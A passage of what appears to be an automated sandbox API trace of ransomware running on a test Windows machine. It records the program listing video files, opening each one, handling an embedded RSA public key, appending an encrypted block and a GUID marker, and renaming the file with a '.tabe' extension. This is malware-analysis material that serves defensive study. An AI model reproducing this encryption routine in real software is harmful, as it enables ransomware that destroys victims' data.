hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.508] CloseHandle (hObject=0x618) returned 1 [0127.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\qzyVfNG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\se-nil1r9vqu7\\qzyvfng.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JTvtdCNymG6\\sE-NiL1R9vqu7\\qzyVfNG.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jtvtdcnymg6\\se-nil1r9vqu7\\qzyvfng.mkv.tabe")) returned 1 [0127.510] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x850ade0, ftCreationTime.dwHighDateTime=0x1d5e68d, ftLastAccessTime.dwLowDateTime=0xf1d161b0, ftLastAccessTime.dwHighDateTime=0x1d5dcda, ftLastWriteTime.dwLowDateTime=0xf1d161b0, ftLastWriteTime.dwHighDateTime=0x1d5dcda, nFileSizeHigh=0x0, nFileSizeLow=0xd089, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qzyVfNG.mkv", cAlternateFileName="")) returned 0 [0127.510] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.510] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.510] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.510] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\") returned="oCqyZ9iQA\\" [0127.510] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\") returned="kG_PXJbnjFaNbAU-m\\" [0127.510] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.510] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.510] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.510] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.510] PathFindFileNameW (pszPath="") returned="" [0127.510] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x305c1940, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x364588f0, ftLastAccessTime.dwHighDateTime=0x1d5e3ff, ftLastWriteTime.dwLowDateTime=0x364588f0, ftLastWriteTime.dwHighDateTime=0x1d5e3ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.510] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x305c1940, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x364588f0, ftLastAccessTime.dwHighDateTime=0x1d5e3ff, ftLastWriteTime.dwLowDateTime=0x364588f0, ftLastWriteTime.dwHighDateTime=0x1d5e3ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.511] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb18040, ftCreationTime.dwHighDateTime=0x1d5d9f0, ftLastAccessTime.dwLowDateTime=0xed8ae3d0, ftLastAccessTime.dwHighDateTime=0x1d5e10b, ftLastWriteTime.dwLowDateTime=0xed8ae3d0, ftLastWriteTime.dwHighDateTime=0x1d5e10b, nFileSizeHigh=0x0, nFileSizeLow=0x7dda, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FAtNuNt.mp4", cAlternateFileName="")) returned 1 [0127.511] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\FAtNuNt.mp4") returned=".mp4" [0127.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\FAtNuNt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\fatnunt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.511] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=32218) returned 1 [0127.511] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.512] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.512] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.515] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7dda, lpOverlapped=0x0) returned 1 [0127.515] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.515] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.515] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.515] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0127.516] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.516] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.516] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.516] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.516] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.516] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0127.516] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.516] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.516] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.516] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.517] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7dda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.517] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.517] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.517] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.517] CloseHandle (hObject=0x618) returned 1 [0127.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\FAtNuNt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\fatnunt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\FAtNuNt.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\fatnunt.mp4.tabe")) returned 1 [0127.520] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa8d4c0, ftCreationTime.dwHighDateTime=0x1d5d9a0, ftLastAccessTime.dwLowDateTime=0x9194ecb0, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9194ecb0, ftLastWriteTime.dwHighDateTime=0x1d5d805, nFileSizeHigh=0x0, nFileSizeLow=0xb967, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="P8M8FfC.flv", cAlternateFileName="")) returned 1 [0127.520] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\P8M8FfC.flv") returned=".flv" [0127.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\P8M8FfC.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\p8m8ffc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.521] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=47463) returned 1 [0127.521] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.522] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb941, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.522] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.523] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xb967, lpOverlapped=0x0) returned 1 [0127.524] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.524] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.524] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.524] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0127.525] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.525] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.525] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.525] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.525] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.525] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0127.525] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.525] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.525] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.525] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.525] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb967, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.526] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.526] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.526] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.526] CloseHandle (hObject=0x618) returned 1 [0127.527] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\P8M8FfC.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\p8m8ffc.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\oCqyZ9iQA\\P8M8FfC.flv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\ocqyz9iqa\\p8m8ffc.flv.tabe")) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1b74730, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xdf6fb360, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0xdf6fb360, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="q6HFvlwmitePYeveT6", cAlternateFileName="Q6HFVL~1")) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1b74730, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0xdf6fb360, ftLastAccessTime.dwHighDateTime=0x1d5db94, ftLastWriteTime.dwLowDateTime=0xdf6fb360, ftLastWriteTime.dwHighDateTime=0x1d5db94, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="q6HFvlwmitePYeveT6", cAlternateFileName="Q6HFVL~1")) returned 0 [0127.528] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.528] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.528] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\RK4kUvZixIIxI 0ux8\\") returned="RK4kUvZixIIxI 0ux8\\" [0127.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\") returned="kG_PXJbnjFaNbAU-m\\" [0127.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.528] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.528] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.528] PathFindFileNameW (pszPath="") returned="" [0127.528] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\RK4kUvZixIIxI 0ux8\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7a84440, ftCreationTime.dwHighDateTime=0x1d5e302, ftLastAccessTime.dwLowDateTime=0xc1e253e0, ftLastAccessTime.dwHighDateTime=0x1d5e7e5, ftLastWriteTime.dwLowDateTime=0xc1e253e0, ftLastWriteTime.dwHighDateTime=0x1d5e7e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.529] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7a84440, ftCreationTime.dwHighDateTime=0x1d5e302, ftLastAccessTime.dwLowDateTime=0xc1e253e0, ftLastAccessTime.dwHighDateTime=0x1d5e7e5, ftLastWriteTime.dwLowDateTime=0xc1e253e0, ftLastWriteTime.dwHighDateTime=0x1d5e7e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.529] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20ec890, ftCreationTime.dwHighDateTime=0x1d5d9bc, ftLastAccessTime.dwLowDateTime=0x4960460, ftLastAccessTime.dwHighDateTime=0x1d5dc5c, ftLastWriteTime.dwLowDateTime=0x4960460, ftLastWriteTime.dwHighDateTime=0x1d5dc5c, nFileSizeHigh=0x0, nFileSizeLow=0x7fc6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="UAc5Q_RPi.mp4", cAlternateFileName="UAC5Q_~1.MP4")) returned 1 [0127.529] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\RK4kUvZixIIxI 0ux8\\UAc5Q_RPi.mp4") returned=".mp4" [0127.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kG_PXJbnjFaNbAU-m\\RK4kUvZixIIxI 0ux8\\UAc5Q_RPi.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kg_pxjbnjfanbau-m\\rk4kuvzixiixi 0ux8\\uac5q_rpi.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.529] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=32710) returned 1 [0127.529] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.530] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7fa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.530] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.531] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7fc6, lpOverlapped=0x0) returned 1 [0127.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.532] lstrlenA (lpString="-----BEGIN PUBLIC 